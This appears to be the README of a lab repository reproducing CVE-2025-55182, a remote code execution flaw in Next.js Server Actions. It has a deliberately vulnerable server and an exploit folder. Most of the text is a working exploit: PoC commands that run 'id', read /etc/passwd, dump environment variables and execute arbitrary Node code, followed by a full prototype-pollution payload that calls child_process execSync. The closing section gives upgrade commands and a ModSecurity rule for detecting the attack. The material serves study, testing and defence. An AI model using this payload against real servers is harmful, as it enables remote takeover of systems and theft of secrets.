CVE-2025-55182/
├── README.md                    # 本文件
├── vulnerable-server/           # 存在漏洞的 Next.js 服务器
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 攻击 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 攻击脚本
│   └── check-vulnerability.js   # 漏洞检查脚本
└── React2Shell-CVE-2025-55182-original-poc/  # 原始 PoC 参考

# 安装依赖
cd vulnerable-server
npm install

# 以开发模式运行服务器（端口 3000）
npm run dev

# 安装依赖
cd exploit
npm install

# 检查漏洞
npm run check

# 运行 PoC（测试模式）
npm run exploit

node poc.js -m test

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

# 执行 id 命令
node poc.js -t http://localhost:3000 -m rce -c "id"

# 读取文件
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 系统信息
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

node poc.js -t http://localhost:3000 -m env

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

requireModule 函数信任客户端发送的属性名称，未加验证
→ 执行 moduleExports[metadata[NAME]] 时未进行 hasOwnProperty 检查
→ 可操纵原型链（服务端原型污染）
→ 获取 Function 构造函数 → RCE

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

# 15.0.x 用户
npm install [email protected]

# 15.1.x 用户
npm install [email protected]

# 15.2.x 用户
npm install [email protected]

npm install [email protected]
npm install [email protected]
npm install [email protected]

# 检测可疑 Flight Payload
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"